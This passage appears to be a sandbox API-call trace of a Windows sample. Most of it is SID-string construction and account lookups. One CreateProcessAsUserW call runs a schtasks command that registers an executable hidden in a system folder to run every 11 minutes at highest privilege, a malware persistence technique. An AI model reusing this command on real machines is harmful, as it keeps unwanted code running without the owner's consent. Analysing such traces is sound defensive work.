returned 0xa [0155.991] memcpy (in: _Dst=0x12dc48, _Src=0x107688, _Size=0x40 | out: _Dst=0x12dc48) returned 0x12dc48 [0155.991] memcpy (in: _Dst=0x12dc86, _Src=0x142458, _Size=0x16 | out: _Dst=0x12dc86) returned 0x12dc86 [0155.991] free (_Block=0x2af180) [0155.992] free (_Block=0x2af280) [0155.992] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0155.992] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0155.992] malloc (_Size=0x18) returned 0x2af280 [0155.992] malloc (_Size=0x18) returned 0x2af180 [0155.992] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0155.992] SysStringLen (param_1="-") returned 0x1 [0155.992] memcpy (in: _Dst=0x107688, _Src=0x12dc48, _Size=0x54 | out: _Dst=0x107688) returned 0x107688 [0155.992] memcpy (in: _Dst=0x1076da, _Src=0x142458, _Size=0x4 | out: _Dst=0x1076da) returned 0x1076da [0155.993] free (_Block=0x2af260) [0155.993] free (_Block=0x2af280) [0155.993] malloc (_Size=0x18) returned 0x2af280 [0155.993] malloc (_Size=0x18) returned 0x2af260 [0155.994] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0155.994] SysStringLen (param_1="1000") returned 0x4 [0155.994] memcpy (in: _Dst=0x12dc48, _Src=0x107688, _Size=0x56 | out: _Dst=0x12dc48) returned 0x12dc48 [0155.994] memcpy (in: _Dst=0x12dc9c, _Src=0x142458, _Size=0xa | out: _Dst=0x12dc9c) returned 0x12dc9c [0155.994] free (_Block=0x2af180) [0155.994] free (_Block=0x2af280) [0155.994] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0155.994] malloc (_Size=0x5e) returned 0x2b0ad0 [0155.994] free (_Block=0x2af260) [0155.994] malloc (_Size=0x18) returned 0x2af260 [0155.994] free (_Block=0x2b0ad0) [0155.994] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0155.995] GetLastError () returned 0x7a [0155.995] malloc (_Size=0x14) returned 0x2af280 [0155.995] malloc (_Size=0x16) returned 0x2af180 [0155.995] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af280, cchName=0xe7ca84, ReferencedDomainName=0x2af180, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0155.996] malloc (_Size=0x18) returned 0x2af240 [0155.996] malloc (_Size=0x18) returned 0x2af1a0 [0155.996] free (_Block=0x2af280) [0155.996] free (_Block=0x2af180) [0155.996] free (_Block=0x2b8650) [0155.996] free (_Block=0x2af1a0) [0155.997] free (_Block=0x2af240) [0155.997] free (_Block=0x2af260) [0155.997] free (_Block=0x2b8b10) [0155.997] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0155.997] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0155.997] GetLastError () returned 0x7a [0155.997] malloc (_Size=0x2c) returned 0x2b8b50 [0155.997] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0155.998] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.998] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0155.998] malloc (_Size=0x1c) returned 0x2b8650 [0155.998] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0155.998] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0155.998] malloc (_Size=0x18) returned 0x2af260 [0155.998] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0155.998] malloc (_Size=0x18) returned 0x2af240 [0155.998] malloc (_Size=0x18) returned 0x2af1a0 [0155.998] SysStringLen (param_1="S-1-") returned 0x4 [0155.998] SysStringLen (param_1="5") returned 0x1 [0155.998] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0xa | out: _Dst=0x142578) returned 0x142578 [0155.998] memcpy (in: _Dst=0x142580, _Src=0x142458, _Size=0x4 | out: _Dst=0x142580) returned 0x142580 [0155.998] free (_Block=0x2af260) [0155.998] free (_Block=0x2af240) [0155.998] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0155.998] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0155.998] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0155.998] malloc (_Size=0x18) returned 0x2af240 [0155.998] malloc (_Size=0x18) returned 0x2af260 [0155.998] SysStringLen (param_1="S-1-5") returned 0x5 [0155.999] SysStringLen (param_1="-") returned 0x1 [0155.999] memcpy (in: _Dst=0x142458, _Src=0x142578, _Size=0xc | out: _Dst=0x142458) returned 0x142458 [0155.999] memcpy (in: _Dst=0x142462, _Src=0x1423c8, _Size=0x4 | out: _Dst=0x142462) returned 0x142462 [0155.999] free (_Block=0x2af1a0) [0155.999] free (_Block=0x2af240) [0155.999] malloc (_Size=0x18) returned 0x2af240 [0155.999] malloc (_Size=0x18) returned 0x2af1a0 [0155.999] SysStringLen (param_1="S-1-5-") returned 0x6 [0155.999] SysStringLen (param_1="21") returned 0x2 [0155.999] memcpy (in: _Dst=0x1423c8, _Src=0x142458, _Size=0xe | out: _Dst=0x1423c8) returned 0x1423c8 [0155.999] memcpy (in: _Dst=0x1423d4, _Src=0x142578, _Size=0x6 | out: _Dst=0x1423d4) returned 0x1423d4 [0155.999] free (_Block=0x2af260) [0155.999] free (_Block=0x2af240) [0155.999] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0155.999] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0155.999] malloc (_Size=0x18) returned 0x2af240 [0155.999] malloc (_Size=0x18) returned 0x2af260 [0155.999] SysStringLen (param_1="S-1-5-21") returned 0x8 [0155.999] SysStringLen (param_1="-") returned 0x1 [0156.000] memcpy (in: _Dst=0x142578, _Src=0x1423c8, _Size=0x12 | out: _Dst=0x142578) returned 0x142578 [0156.000] memcpy (in: _Dst=0x142588, _Src=0x142458, _Size=0x4 | out: _Dst=0x142588) returned 0x142588 [0156.000] free (_Block=0x2af1a0) [0156.000] free (_Block=0x2af240) [0156.000] malloc (_Size=0x18) returned 0x2af240 [0156.000] malloc (_Size=0x18) returned 0x2af1a0 [0156.000] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0156.000] SysStringLen (param_1="4219442223") returned 0xa [0156.000] memcpy (in: _Dst=0x1179f8, _Src=0x142578, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0156.000] memcpy (in: _Dst=0x117a0a, _Src=0x1423c8, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0156.000] free (_Block=0x2af260) [0156.000] free (_Block=0x2af240) [0156.000] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0156.000] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0156.000] malloc (_Size=0x18) returned 0x2af240 [0156.000] malloc (_Size=0x18) returned 0x2af260 [0156.000] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0156.001] SysStringLen (param_1="-") returned 0x1 [0156.001] memcpy (in: _Dst=0x1179a8, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x1179a8) returned 0x1179a8 [0156.001] memcpy (in: _Dst=0x1179ce, _Src=0x142578, _Size=0x4 | out: _Dst=0x1179ce) returned 0x1179ce [0156.001] free (_Block=0x2af1a0) [0156.001] free (_Block=0x2af240) [0156.001] malloc (_Size=0x18) returned 0x2af240 [0156.001] malloc (_Size=0x18) returned 0x2af1a0 [0156.001] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0156.001] SysStringLen (param_1="4223814209") returned 0xa [0156.001] memcpy (in: _Dst=0x107688, _Src=0x1179a8, _Size=0x2a | out: _Dst=0x107688) returned 0x107688 [0156.001] memcpy (in: _Dst=0x1076b0, _Src=0x142578, _Size=0x16 | out: _Dst=0x1076b0) returned 0x1076b0 [0156.001] free (_Block=0x2af260) [0156.001] free (_Block=0x2af240) [0156.001] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0156.001] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0156.002] malloc (_Size=0x18) returned 0x2af240 [0156.002] malloc (_Size=0x18) returned 0x2af260 [0156.002] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0156.002] SysStringLen (param_1="-") returned 0x1 [0156.002] memcpy (in: _Dst=0x12dc48, _Src=0x107688, _Size=0x3e | out: _Dst=0x12dc48) returned 0x12dc48 [0156.002] memcpy (in: _Dst=0x12dc84, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc84) returned 0x12dc84 [0156.002] free (_Block=0x2af1a0) [0156.002] free (_Block=0x2af240) [0156.002] malloc (_Size=0x18) returned 0x2af240 [0156.002] malloc (_Size=0x18) returned 0x2af1a0 [0156.002] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0156.002] SysStringLen (param_1="3835049652") returned 0xa [0156.002] memcpy (in: _Dst=0x107688, _Src=0x12dc48, _Size=0x40 | out: _Dst=0x107688) returned 0x107688 [0156.002] memcpy (in: _Dst=0x1076c6, _Src=0x142578, _Size=0x16 | out: _Dst=0x1076c6) returned 0x1076c6 [0156.002] free (_Block=0x2af260) [0156.002] free (_Block=0x2af240) [0156.002] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0156.003] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0156.003] malloc (_Size=0x18) returned 0x2af240 [0156.003] malloc (_Size=0x18) returned 0x2af260 [0156.003] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0156.003] SysStringLen (param_1="-") returned 0x1 [0156.003] memcpy (in: _Dst=0x12dc48, _Src=0x107688, _Size=0x54 | out: _Dst=0x12dc48) returned 0x12dc48 [0156.003] memcpy (in: _Dst=0x12dc9a, _Src=0x142578, _Size=0x4 | out: _Dst=0x12dc9a) returned 0x12dc9a [0156.003] free (_Block=0x2af1a0) [0156.003] free (_Block=0x2af240) [0156.003] malloc (_Size=0x18) returned 0x2af240 [0156.003] malloc (_Size=0x18) returned 0x2af1a0 [0156.003] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0156.003] SysStringLen (param_1="1000") returned 0x4 [0156.003] memcpy (in: _Dst=0x107688, _Src=0x12dc48, _Size=0x56 | out: _Dst=0x107688) returned 0x107688 [0156.003] memcpy (in: _Dst=0x1076dc, _Src=0x142578, _Size=0xa | out: _Dst=0x1076dc) returned 0x1076dc [0156.003] free (_Block=0x2af260) [0156.003] free (_Block=0x2af240) [0156.004] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0156.004] malloc (_Size=0x5e) returned 0x2b0ad0 [0156.004] free (_Block=0x2af1a0) [0156.004] malloc (_Size=0x18) returned 0x2af1a0 [0156.004] free (_Block=0x2b0ad0) [0156.004] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0156.005] GetLastError () returned 0x7a [0156.005] malloc (_Size=0x14) returned 0x2af240 [0156.005] malloc (_Size=0x16) returned 0x2af260 [0156.005] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af240, cchName=0xe7ca94, ReferencedDomainName=0x2af260, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0156.006] malloc (_Size=0x18) returned 0x2af180 [0156.006] malloc (_Size=0x18) returned 0x2af280 [0156.006] free (_Block=0x2af240) [0156.006] free (_Block=0x2af260) [0156.006] free (_Block=0x2b8650) [0156.006] free (_Block=0x2af280) [0156.007] free (_Block=0x2af180) [0156.007] free (_Block=0x2af1a0) [0156.007] free (_Block=0x2b8b50) [0156.008] malloc (_Size=0x48) returned 0x2ad6d0 [0156.008] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0156.014] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0156.014] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0156.014] malloc (_Size=0x18) returned 0x2af1a0 [0156.014] CreateEnvironmentBlock () returned 0x1 [0156.020] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0156.020] malloc (_Size=0x18) returned 0x2af180 [0156.020] CreateProcessAsUserW (in: hToken=0x248, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 11 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x18a730, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"fposf\" /sc MINUTE /mo 11 /tr \"'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x300, hThread=0x2fc, dwProcessId=0xcec, dwThreadId=0xce8)) returned 1 [0156.025] CloseHandle (hObject=0x300) returned 1 [0156.025] CloseHandle (hObject=0x2fc) returned 1 [0156.025] free (_Block=0x2af180) [0156.025] DestroyEnvironmentBlock () returned 0x1 [0156.025] malloc (_Size=0x48) returned 0x2ad680 [0156.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2967f120, dwHighDateTime=0x1d8a92a)) [0156.026] SetEvent (hEvent=0x1f0) returned 1 [0156.026] CloseHandle (hObject=0x244) returned 1 [0156.026] CloseHandle (hObject=0x248) returned 1 [0156.245] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd940 [0156.245] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd940, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0156.245] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd940 | out: hHeap=0xc0000) returned 1 [0156.611] SetLastError (dwErrCode=0x0) [0156.611] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0156.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0156.611] SetLastError (dwErrCode=0x0) [0156.611] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0156.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0156.611] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0156.611] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0156.611] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0156.611] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0156.613] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0156.614] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0156.614] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0156.614] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0156.614] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0156.614] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0156.614] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0156.616] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0156.617] GetCurrentThread () returned 0xfffffffffffffffe [0156.617] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x1ec) returned 1 [0156.617] malloc (_Size=0xd8) returned 0x2b35c0 [0156.617] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0156.617] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0156.617] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0156.618] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0156.619] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0156.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0156.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0156.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0156.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0156.620] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0156.620] malloc (_Size=0x18) returned 0x2af1a0 [0156.620] DuplicateTokenEx (in: hExistingToken=0x1ec, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x2d4) returned 1 [0156.620] malloc (_Size=0x48) returned 0x2ad680 [0156.620] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x29c26560, dwHighDateTime=0x1d8a92a)) [0156.621] SetEvent (hEvent=0x1f0) returned 1 [0156.624] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0156.624] GetLastError () returned 0x7a [0156.624] malloc (_Size=0x2c) returned 0x2b8b10 [0156.624] GetTokenInformation (in: TokenHandle=0x1ec, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0156.624] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0156.624] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0156.624] malloc (_Size=0x1c) returned 0x2b86e0 [0156.624] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0156.624] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0156.624] malloc (_Size=0x18) returned 0x2af1a0 [0156.624] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0156.624] malloc (_Size=0x18) returned 0x2af180 [0156.624] malloc (_Size=0x18) returned 0x2af280 [0156.624] SysStringLen (param_1="S-1-") returned 0x4 [0156.624] SysStringLen (param_1="5") returned 0x1 [0156.624] memcpy (in: _Dst=0x1424b8, _Src=0x142338, _Size=0xa | out: _Dst=0x1424b8) returned 0x1424b8 [0156.625] memcpy (in: _Dst=0x1424c0, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424c0) returned 0x1424c0 [0156.625] free (_Block=0x2af1a0) [0156.625] free (_Block=0x2af180) [0156.625] GetSidSubAuthorityCount 